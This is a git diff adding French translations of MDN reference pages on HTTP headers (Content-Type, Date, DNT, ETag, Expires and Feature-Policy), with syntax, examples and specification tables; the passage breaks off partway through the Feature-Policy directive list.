+  &lt;input type="text" name="description" value="du texte"&gt;
+  &lt;input type="file" name="monFichier"&gt;
+  &lt;button type="submit"&gt;Envoyer&lt;/button&gt;
+&lt;/form&gt;
+</pre>
+
+<p>La requête ressemble à peu près à ceci (les en-têtes moins intéressants ont été ici volontairement omis) :</p>
+
+<pre>POST /toto HTTP/1.1
+Content-Length: 68137
+Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575
+Content-Disposition: form-data; name="description"
+
+---------------------------974767299852498929531610575
+
+du texte par ici
+
+---------------------------974767299852498929531610575
+Content-Disposition: form-data; name="monFichier"; filename="toto.txt"
+Content-Type: text/plain
+
+(contenu du fichier envoyé en ligne toto.txt)
+
+---------------------------974767299852498929531610575
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "Content-Type in multipart", "4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Content-Type", "3.1.1.5")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_selon_les_navigateurs">Compatibilité selon les navigateurs</h2>
+
+<p class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer à ces données, veuillez jeter un coup d'œil à <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une <em>pull request</em>.</p>
+
+<p>{{Compat("http/headers/content-type")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept")}} et {{HTTPHeader("Accept-Charset")}}</li>
+ <li>{{HTTPHeader("Content-Disposition")}}</li>
+ <li>{{HTTPStatus("206")}} <code>Partial Content</code></li>
+ <li>{{HTTPHeader("X-Content-Type-Options")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/date/index.html b/files/fr/web/http/headers/date/index.html
new file mode 100644
index 0000000000..bf36cecb69
--- /dev/null
+++ b/files/fr/web/http/headers/date/index.html
@@ -0,0 +1,78 @@
+---
+title: Date
+slug: Web/HTTP/Headers/Date
+translation_of: Web/HTTP/Headers/Date
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'en-tête général HTTP <strong><code>Date</code></strong> contient la date et l'heure d'origine du message.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td>{{Glossary("General header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name ")}}</th>
+   <td>oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Date: &lt;day-name&gt;, &lt;jour&gt; &lt;mois&gt; &lt;année&gt; &lt;heure&gt;:&lt;minute&gt;:&lt;seconde&gt; GMT
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>&lt;day-name&gt;</dt>
+ <dd>L'un des mots "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ou "Sun" (sensible à la casse).</dd>
+ <dt>&lt;day&gt;</dt>
+ <dd>Numéro de jour à 2 chiffres, par ex. "04" ou "23".</dd>
+ <dt>&lt; month&gt;</dt>
+ <dd>L'un des mots "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse).</dd>
+ <dt>&lt; year&gt;</dt>
+ <dd>Numéro d'année à 4 chiffres, par exemple "1990" ou "2018".</dd>
+ <dt>&lt; hour&gt;</dt>
+ <dd>Numéro d'heure à 2 chiffres, par exemple "09" or "23".</dd>
+ <dt>&lt; minute&gt;</dt>
+ <dd>Numéro d'heure à 2 chiffres, par exemple "04" or "59".</dd>
+ <dt>&lt; second&gt;</dt>
+ <dd>Numéro de seconde à 2 chiffres, par exemple "04" or "59".</dd>
+ <dt>GMT</dt>
+ <dd>Temps sur le Méridien de Greenwich. Les dates HTTP sont toujours exprimées en GMT, jamais en heure locale.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>Date: Wed, 21 Oct 2015 07:28:00 GMT</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Date", "7.1.1.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1) : Sémantique et contenu</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une demande de retrait.</p>
+
+<p>{{Compat("http.headers.Date")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Age")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/dnt/index.html b/files/fr/web/http/headers/dnt/index.html
new file mode 100644
index 0000000000..1c4228bfa9
--- /dev/null
+++ b/files/fr/web/http/headers/dnt/index.html
@@ -0,0 +1,83 @@
+---
+title: DNT
+slug: Web/HTTP/Headers/DNT
+translation_of: Web/HTTP/Headers/DNT
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le header de requête <strong><code>DNT</code></strong> (<strong>D</strong>o <strong>N</strong>ot <strong>T</strong>rack) indique que les préférences de l'utilisateur concernant le suivi publicitaire. Il permet aux utilisateurs d'indiquer s'ils préfèrent leur vie privée au lieu d'un contenu personnalisé.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">DNT: 0
+DNT: 1
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>0</dt>
+ <dd>L'utilisateur préfère autoriser son suivi sur le site cible.</dd>
+ <dt>1</dt>
+ <dd>L'utilisateur préfère ne pas être suivi sur le site cible.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Lire_le_statut_Do_Not_Track_avec_JavaScript">Lire le statut Do Not Track avec JavaScript</h3>
+
+<p>La préférence de l'utilisateur pour DNT peut également être lue depuis JavaScript en utilisant la proriété {{domxref("Navigator.doNotTrack")}} :</p>
+
+<pre class="brush: js">navigator.doNotTrack; // "0" ou "1"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Tracking','#dnt-header-field', 'DNT Header Field for HTTP Requests')}}</td>
+   <td>{{Spec2("Tracking")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.DNT")}}</p>
+
+<h2 id="Voyez_aussi">Voyez aussi</h2>
+
+<ul>
+ <li>{{domxref("Navigator.doNotTrack")}}</li>
+ <li>{{HTTPHeader("Tk")}} header</li>
+ <li><a href="https://en.wikipedia.org/wiki/Do_Not_Track">Do Not Track on Wikipedia</a></li>
+ <li><a href="https://www.eff.org/deeplinks/2011/02/what-does-track-do-not-track-mean">What Does the "Track" in "Do Not Track" Mean? – EFF</a></li>
+ <li><a href="http://donottrack.us/">donottrack.us</a></li>
+ <li>DNT browser settings help:
+  <ul>
+   <li><a href="https://www.mozilla.org/en-US/firefox/dnt/">Firefox</a></li>
+   <li><a href="https://support.google.com/chrome/answer/2790761">Chrome</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/http/headers/etag/index.html b/files/fr/web/http/headers/etag/index.html
new file mode 100644
index 0000000000..95a24f4ef3
--- /dev/null
+++ b/files/fr/web/http/headers/etag/index.html
@@ -0,0 +1,103 @@
+---
+title: ETag
+slug: Web/HTTP/Headers/ETag
+tags:
+  - HTTP
+  - Reference
+  - Response
+  - header
+translation_of: Web/HTTP/Headers/ETag
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'en-tête de réponse <code>ETag</code> HTTP est un identifiant pour une version spécifique d'une ressource. Il permet aux caches d'être plus efficaces et d'économiser de la bande passante, du fait que le serveur Web n'a pas besoin d'envoyer une réponse complète si le contenu n'a pas changé. Sinon, si le contenu a changé, les etags sont utiles pour empêcher les mises à jour simultanées d'une ressource de s'écraser mutuellement ("collisions en vol").</p>
+
+<p>Si la ressource à une URL donnée change, une nouvelle valeur <code>Etag</code> doit être générée. Les Etags sont donc similaires aux empreintes digitales et elles peuvent également être utilisées à des fins de suivi par certains serveurs. Une comparaison entre elles permet de déterminer rapidement si deux représentations d'une ressource sont identiques, mais un serveur de suivi peut également leur imposer de persister indéfiniment.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'entête</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">ETag: W/"&lt;etag_value&gt;"
+ETag: "&lt;etag_value&gt;"
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt><code>W/</code> {{optional_inline}}</dt>
+ <dd><code>'W/'</code> (sensible à la casse) indique qu'un validateur faible est utilisé. Les validateurs faibles sont faciles à générer, mais ils sont beaucoup moins utiles pour les comparaisons. Les validateurs forts sont idéaux pour les comparaisons, mais ils peuvent être très difficiles à générer efficacement. Les valeurs <code>Etag</code> faibles de deux représentations des mêmes ressources peuvent être sémantiquement équivalentes, mais ne pas être identiques octet par octet.</dd>
+ <dt><strong>"&lt;etag_value&gt;</strong>"</dt>
+ <dd>Balises d'entité représentant d'une façon unique les ressources demandées. Elles sont consituées d'une chaîne de caractères ASCII placés entre apostrophes doubles (comme <code>"675af34563dc-tr34"</code>). La méthode par laquelle les valeurs <code>ETag</code> sont générées n'est pas spécifiée. Souvent, un hachage du contenu, un hachage de l'horodatage de la dernière modification, ou seulement un numéro de révision est utilisé. Par exemple, MDN utilise un hachage de chiffres hexadécimaux du contenu du wiki.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+ETag: W/"0815"</pre>
+
+<h3 id="Évitement_des_collisions_en_vol">Évitement des collisions en vol</h3>
+
+<p>A l'aide des en-têtes <code>ETag</code> et {{HTTPHeader("If-Match")}}, vous pouvez détecter les collisions d'édition en vol.</p>
+
+<p>Par exemple, lors de l'édition de MDN, le contenu actuel du wiki est haché et placé dans un <code>Etag</code> dans la réponse :</p>
+
+<pre>ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
+
+<p>Lors de la sauvegarde des modifications d'une page wiki ("post" des données), la requête {{HTTPMethod("POST")}} contiendra l'en-tête {{HTTPHeader("If-Match")}} contenant les valeurs ETag par rapport auxquelles vérifier la péremption.</p>
+
+<pre>If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
+
+<p>Si les hachages ne correspondent pas, cela signifie que le document a été modifié entre-temps, et une erreur {{HTTPStatus("412")}} <code>Precondition Failed</code> est déclenchée.</p>
+
+<h3 id="Mise_en_cache_des_ressources_inchangées">Mise en cache des ressources inchangées</h3>
+
+<p>Un autre cas d'utilisation typique de l'en-tête <code>ETag</code> est de mettre en cache les ressources qui sont inchangées. Si un utilisateur visite à nouveau une URL donnée (qui a un ensemble d'<code>ETag</code>), et qu'elle est <em>périmée</em>, c'est à dire, trop ancienne pour être considérée comme utilisable, le client enverra en même temps la valeur de son <code>ETag</code> dans un champ d'en-tête {{HTTPHeader("If-None-Match")}} :</p>
+
+<pre>If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
+
+<p>Le serveur comparera l'<code>ETag</code> du client (envoyé avec <code>If-None-Match</code>) à l'<code>ETag</code> de sa version en cours de la ressource, et si les deux valeurs correspondent (c'est-à-dire que la ressource n'a pas changé), le serveur renverra un statut {{HTTPStatus( "304")}} Not Modified, sans aucun corps, qui indiquera au client que sa version mise en cache de la réponse est toujours bonne à utiliser (actuelle).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7232", "ETag", "2.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">La table de compatibilité de cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et de nous envoyer une "pull request".</p>
+
+<p>{{Compat("http.headers.ETag")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPStatus("304")}}<code> Not Modified</code></li>
+ <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li>
+ <li>
+  <p><a href="https://www.w3.org/1999/04/Editing/">W3C Note: Editing the Web – Detecting the Lost Update Problem Using Unreserved Checkout</a></p>
+ </li>
+</ul>
diff --git a/files/fr/web/http/headers/expires/index.html b/files/fr/web/http/headers/expires/index.html
new file mode 100644
index 0000000000..e2aec0c9bc
--- /dev/null
+++ b/files/fr/web/http/headers/expires/index.html
@@ -0,0 +1,75 @@
+---
+title: Expires
+slug: Web/HTTP/Headers/Expires
+translation_of: Web/HTTP/Headers/Expires
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le header <code><strong>Expires</strong></code> contient la date/heure après laquelle la réponse est considérée comme dépréciée.</p>
+
+<p>Les dates invalides, telles que la valeur 0, représentent une date dans le passé et signifient que la ressource est expirée.</p>
+
+<p>Si un header {{HTTPHeader("Cache-Control")}} contient une directive "max-age" ou "s-max-age" dans la réponse, le header <code>Expires</code> sera ignoré.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Expires: &lt;http-date&gt;
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>&lt;http-date&gt;</dt>
+ <dd>
+ <p>An HTTP-date timestamp.</p>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>Expires: Wed, 21 Oct 2015 07:28:00 GMT</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7234", "Expires", "5.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Expires")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Age")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/feature-policy/accelerometer/index.html b/files/fr/web/http/headers/feature-policy/accelerometer/index.html
new file mode 100644
index 0000000000..6d6f91a3f1
--- /dev/null
+++ b/files/fr/web/http/headers/feature-policy/accelerometer/index.html
@@ -0,0 +1,68 @@
+---
+title: 'Feature-Policy: accelerometer'
+slug: Web/HTTP/Headers/Feature-Policy/accelerometer
+tags:
+  - Accéléromètre
+  - Directive
+  - Feature Policy
+  - Feature-Policy
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Headers/Feature-Policy/accelerometer
+---
+<p>{{HTTPSidebar}} {{SeeCompatTable}}</p>
+
+<p>La directive <code>accelerometer</code> de l'en-tête HTTP {{HTTPHeader('Feature-Policy')}} contrôle la possibilité pour le document courant de recueillir des informations à propos de l'accélération de l'appareil au moyen de l'interface {{domxref('Accelerometer')}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="notranslate">Feature-Policy: accelerometer &lt;listePermissions&gt;;</pre>
+
+<dl>
+ <dt>&lt;listePermissions&gt;</dt>
+ <dd>{{page('fr/Web/HTTP/Feature_Policy/Using_Feature_Policy', 'allowlist')}}</dd>
+</dl>
+
+<h2 id="Valeur_par_défaut">Valeur par défaut</h2>
+
+<p>La valeur par défaut est <code>'self'</code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Feature Policy')}}</td>
+   <td>{{Spec2('Feature Policy')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Accelerometer','#accelerometer-interface','Accelerometer')}}</td>
+   <td>{{Spec2('Accelerometer')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat('http.headers.Feature-Policy.accelerometer')}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>en-tête {{HTTPHeader('Feature-Policy')}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Utiliser Feature Policy</a></li>
+</ul>
diff --git a/files/fr/web/http/headers/feature-policy/index.html b/files/fr/web/http/headers/feature-policy/index.html
new file mode 100644
index 0000000000..597355cd84
--- /dev/null
+++ b/files/fr/web/http/headers/feature-policy/index.html
@@ -0,0 +1,161 @@
+---
+title: Feature-Policy
+slug: Web/HTTP/Headers/Feature-Policy
+tags:
+  - Authorization
+  - Experimental
+  - Feature Policy
+  - Feature-Policy
+  - HTTP
+  - Permissions
+  - Reference
+  - Security
+  - Web
+  - header
+translation_of: Web/HTTP/Headers/Feature-Policy
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">L'en-tête HTTP <strong><code>Feature-Policy</code></strong> est un mécanisme permettant de permettre ou d'interdire l'utilisation de fonctionnalités du navigateur dans son propre cadre et dans ceux de tous les éléments {{HTMLElement("iframe")}} que le document contient.</span></p>
+
+<div class="note">
+<p>Cet en-tête est toujours au stade expérimental, et est sujet à être modifié à tout moment. Méfiez-vous en si vous souhaitez l'implanter sur vos sites. Il a maintenant été renommé <code>Permissions-Policy</code> dans la spécification, et cet article sera mis à jour pour refléter ce changement.</p>
+</div>
+
+<p>Pour plus d'informations, vour l'article principal sur <a href="/docs/Web/HTTP/Feature_Policy">Feature Policy</a>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">Feature-Policy: &lt;directive&gt; &lt;allowlist&gt;</pre>
+
+<dl>
+ <dt><code>&lt;directive&gt;</code></dt>
+ <dd>La directive de Feature Policy sur laquelle appliquer la liste de permissions <code>allowlist</code>. Voir {{anch("Directives")}} ci-dessous pour une liste des noms de directives autorisés.</dd>
+ <dt><code>&lt;allowlist&gt;</code></dt>
+ <dd>{{page("Web/HTTP/Feature_Policy/Using_Feature_Policy", "allowlist")}}</dd>
+</dl>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>{{httpheader('Feature-Policy/accelerometer','accelerometer')}}</dt>
+ <dd>Contrôle si le document courant est autorisé à recueillir des informations à propos de l'accélération de l'appareil au moyen de l'interface {{DOMxRef("Accelerometer")}}.</dd>
+ <dt>{{httpheader('Feature-Policy/ambient-light-sensor','ambient-light-sensor')}}</dt>
+ <dd>Contrôle si le le document courant est autorisé à recueillir des informations à propos de la luminosité ambiante de l'appareil au moyen de l'interface {{DOMxRef("AmbientLightSensor")}}.</dd>
+ <dt>{{httpheader('Feature-Policy/autoplay','autoplay')}}</dt>
+ <dd>Contrôle si le document courant est autorisé à jouer automatiquement des médias chargés au moyen de l'interface {{domxref("HTMLMediaElement")}}. Quand cette fonctionnalité est désactivée et qu'il n'y a pas eu d'action de la part de l'utilisateur, la promesse ({{jsxref("Promise")}}) retournée par {{domxref("HTMLMediaElement.play()")}} sera rejetée avec une exception {{domxref("DOMException")}}. L'attribut <code>autoplay</code> sur les éléments {{HTMLELement("audio")}} et {{HTMLElement("video")}} sera ignoré.</dd>
+ <dt>{{httpheader('Feature-Policy/battery','battery')}}</dt>
+ <dd>Contrôle si l'utilisation de l'<a href="/docs/Web/API/Battery_Status_API">API Battery Status</a> est autorisé. Quand cette fonctionnalité est désactivée, la promesse retournée par {{DOMxRef("Navigator.getBattery","Navigator.getBattery()")}} sera rejetée avec une {{DOMxRef("DOMException")}} {{Exception("NotAllowedError")}}.</dd>
+ <dt>{{httpheader('Feature-Policy/camera', 'camera')}}</dt>
+ <dd>Contrôle si le document courant est autorisé à utiliser l'appareil photographique du système. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} sera rejetée avec une {{DOMxRef("DOMException")}} {{Exception("NotAllowedError")}}.</dd>
+ <dt>{{HTTPHeader('Feature-Policy/display-capture', 'display-capture')}}</dt>
+ <dd>Contrôle si le document courant est autorisé ou non à utiliser la méthode {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} pour effectuer une capture d'écran. Quand cette fonctionnalité est désactivée, la promesse retounrée par <code>getDisplayMedia()</code> sera rejetée avec une exception {{Exception("NotAllowedError")}} si la permission de prendre une capture d'écran n'est pas obtenue.</dd>
+ <dt>{{httpheader('Feature-Policy/document-domain','document-domain')}}</dt>
+ <dd>Contrôle si le document courant est autorisé à définir la propriété {{domxref("document.domain")}}. Quand cette directive est désactivée, tenter de modifier {{domxref("document.domain")}} échouera et lèvera une {{domxref("DOMException")}} {{Exception("SecurityError")}}.</dd>
+ <dt>{{httpheader('Feature-Policy/encrypted-media', 'encrypted-media')}}</dt>
+ <dd>Contrôle si le document courant est autorisé à utiliser l'API <a href="/en-US/docs/Web/API/Encrypted_Media_Extensions_API">Encrypted Media Extensions</a> (EME). Quand cette directive est désactivée, la promesse retournée par {{domxref("Navigator.requestMediaKeySystemAccess()")}} sera rejecté avec une {{domxref("DOMException")}}.</dd>
+ <dt>{{httpheader('Feature-Policy/execution-while-not-rendered', 'execution-while-not-rendered')}}</dt>
+ <dd>Contrôle si les tâches des cadres doivent être exécutées s'ils ne seront pas rendus à l'écran (par exemple si un <code>&lt;iframe&gt;</code> est <code><a href="/en-US/docs/Web/HTML/Global_attributes/hidden">hidden</a></code> ou <code>display: none</code>).</dd>
+ <dt>{{httpheader('Feature-Policy/execution-while-out-of-viewport', 'execution-while-out-of-viewport')}}</dt>
+ <dd>Contrôle si les tâches des cadres doivent être exécutées quand ils sont en dehors du cadre visible.</dd>
+</dl>
+
+<dl>
+ <dt>{{httpheader('Feature-Policy/fullscreen','fullscreen')}}</dt>
+ <dd>Contrôle si le document courant est autorisé à utiliser {{DOMxRef("Element.requestFullScreen()")}}. Quand cette directive est désactivée, la promesse retournée sera rejetée avec une exception {{JSxRef("TypeError")}}.</dd>
+ <dt>{{httpheader('Feature-Policy/geolocation','geolocation')}}</dt>
+ <dd>Contrôle si le document courant est autorisé à utiliser l'interface {{domxref('Geolocation')}}. Quand cette directive est désactivée, les appels à {{domxref('Geolocation.getCurrentPosition','getCurrentPosition()')}} et {{domxref('Geolocation.watchPosition','watchPosition()')}} causeront un appel de leurs fonctions de rappel avec une exception {{domxref('PositionError')}} dont le code est <code>PERMISSION_DENIED</code>.</dd>
+ <dt>{{httpheader('Feature-Policy/gyroscope','gyroscope')}}</dt>
+ <dd>Contrôle si le document courant est autorisé à recueillir des informations à propos de l'orientation de l'appareil au moyen de l'interface {{DOMxRef("Gyroscope")}}.</dd>
+ <dt>{{httpheader('Feature-Policy/layout-animations','layout-animations')}}</dt>
+ <dd>Contrôle si le document courant est autorisé à afficher des animations de mise en page.</dd>
+</dl>
+
+<dl>
+ <dt>{{httpheader('Feature-Policy/legacy-image-formats','legacy-image-formats')}}</dt>
+ <dd>Contrôle si le document courant est autorisé à afficher des images dans des formats du passé.</dd>
+</dl>
+
+<dl>
+ <dt>{{httpheader('Feature-Policy/magnetometer','magnetometer')}}</dt>
+ <dd>Contrôle si le document courant est autorisé à recueillir des informations à propos de l'orientation au moyen de l'interface {{DOMxRef("Magnetometer")}}.</dd>
+ <dt>{{httpheader('Feature-Policy/microphone','microphone')}}</dt>
+ <dd>Contrôle si le document courant est autorisé à utiliser le microphone de l'appareil. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("MediaDevices.getUserMedia()")}} sera rejetée avec une exception {{Exception("NotAllowedError")}}.</dd>
+ <dt>{{httpheader('Feature-Policy/midi', 'midi')}}</dt>
+ <dd>Contrôle si le document courant est autorisé à utiliser l'<a href="/en-US/docs/Web/API/Web_MIDI_API">API Web MIDI</a>. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("Navigator.requestMIDIAccess()")}} sera rejetée avec une exception {{domxref("DOMException")}}.</dd>
+ <dt>{{httpheader('Feature-Policy/navigation-override','navigation-override')}}</dt>
+ <dd>Contrôle la disponibilité des mécanismes qui permettent à l'auteur de la page de prendre le contrôle sur le comportment de la <a href="https://www.w3.org/TR/css-nav/">navigation spatiale</a>, ou de l'annuler complètement.</dd>
+ <dt>{{httpheader('Feature-Policy/oversized-images','oversized-images')}}</dt>
+ <dd>Contrôle si le document courant est autorisé à télécharger et afficher des images lourdes.</dd>
+ <dt>{{httpheader('Feature-Policy/payment', 'payment')}}</dt>
+ <dd>Contrôle si le document courant est autorisé à utiliser l'<a href="/en-US/docs/Web/API/Payment_Request_API">API Payment Request</a>. Quand cette directive est désactivée, le constructeur {{domxref("PaymentRequest","PaymentRequest()")}} lèvera une {{domxref("DOMException")}} {{Exception("SecurityError")}}.</dd>
+ <dt>{{httpheader('Feature-Policy/picture-in-picture', 'picture-in-picture')}}</dt>
+ <dd>Controls whether the current document is allowed to play a video in a Picture-in-Picture mode via the corresponding API.</dd>
+ <dt>{{httpheader("Feature-Policy/publickey-credentials-get", "publickey-credentials-get")}}</dt>
+ <dd>Contrôle si le document courant est autorisé à use the <a href="/en-US/docs/Web/API/Web_Authentication_API">Web Authentication API</a> to retreive already stored public-key credentials, i.e. via {{domxref("CredentialsContainer.get","navigator.credentials.get({publicKey: ..., ...})")}}.</dd>
+ <dt>{{httpheader('Feature-Policy/sync-xhr', 'sync-xhr')}}</dt>
+ <dd>Contrôle si le document courant est autorisé à make synchronous {{DOMxRef("XMLHttpRequest")}} requests.</dd>
+ <dt>{{httpheader('Feature-Policy/usb', 'usb')}}</dt>
+ <dd>Contrôle si le document courant est autorisé à use the <a href="https://wicg.github.io/webusb/">WebUSB API</a>.</dd>
+ <dt>{{httpheader('Feature-Policy/vr', 'vr')}} {{deprecated_inline}}</dt>
+ <dd>Contrôle si le document courant est autorisé à use the <a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a>. Quand cette directive est désactivée, la promesse retournée par {{domxref("Navigator.getVRDisplays","Navigator.getVRDisplays()")}} sera rejetée avec une {{domxref("DOMException")}}. Gardez en tête que la norme WebVR est en cours de remplacement au profit de <a href="/en-US/docs/Web/API/WebXR_Device_API">WebXR</a>.</dd>
+ <dt>{{httpheader('Feature-Policy/wake-lock', 'wake-lock')}}</dt>
